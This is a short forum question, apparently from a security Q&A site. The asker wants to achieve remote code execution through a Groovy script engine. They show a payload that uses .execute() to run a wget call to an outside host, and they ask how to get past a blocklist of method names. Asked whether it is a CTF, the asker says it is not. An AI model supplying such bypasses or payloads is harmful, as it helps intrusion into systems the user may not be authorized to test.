I'm trying to exploit groovy engine for RCE. However, the developer fixed by restricting the method calls with name 'exec', 'execute', 'run', 'start'. Is there any bypass or alternative to these methods?

Initial Payload

def a= 'wget https://example.com/'.execute()\n\na.consumeProcessOutput(sout, serr)\n\na.waitForOrKill(1000)\n\nprintln \"out> $sout err> $serr\"

  • 1
    Is this for a CTF?
    – user163495
    Commented Nov 5, 2020 at 13:29
  • No. it is not for a CTF.
    – Honey
    Commented Nov 5, 2020 at 16:40


You must log in to answer this question.

Browse other questions tagged .